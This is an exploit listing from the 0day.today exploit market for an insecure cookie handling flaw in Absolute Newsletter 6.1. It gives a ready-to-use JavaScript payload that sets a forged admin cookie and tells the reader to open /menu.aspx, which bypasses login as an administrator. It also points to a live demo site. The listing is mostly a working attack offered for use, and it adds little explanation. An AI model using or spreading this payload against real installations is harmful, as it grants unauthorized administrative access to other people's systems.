[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Absolute Newsletter 6.1 Insecure Cookie Handling Vulnerability

Author
x0r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3986
Category
web applications
Date add
31-10-2008
Platform
unsorted
==============================================================
Absolute Newsletter 6.1 Insecure Cookie Handling Vulnerability
==============================================================


-=======================================-
Autore: x0r
Cms = Absolute Newsletter 6.1
Bug: Insecure Cookie Handling Vulnerability
-=======================================-


Exploit:
javascript:document.cookie="xlaANLDEMOadmin=lvl=1&userid=1&usr=admin&s=TYPE
A SERIES OF RANDOM NUMBERS AND CHARACTERS HERE; path=/"; and go to
/menu.aspx

Live Demo: http://www.xigla.com/absolutenl/demo

[-] King Lion Gay
[+] Margherita Ti Amo...I'm Sorry...

_EOF_


#  0day.today [2024-07-07]  #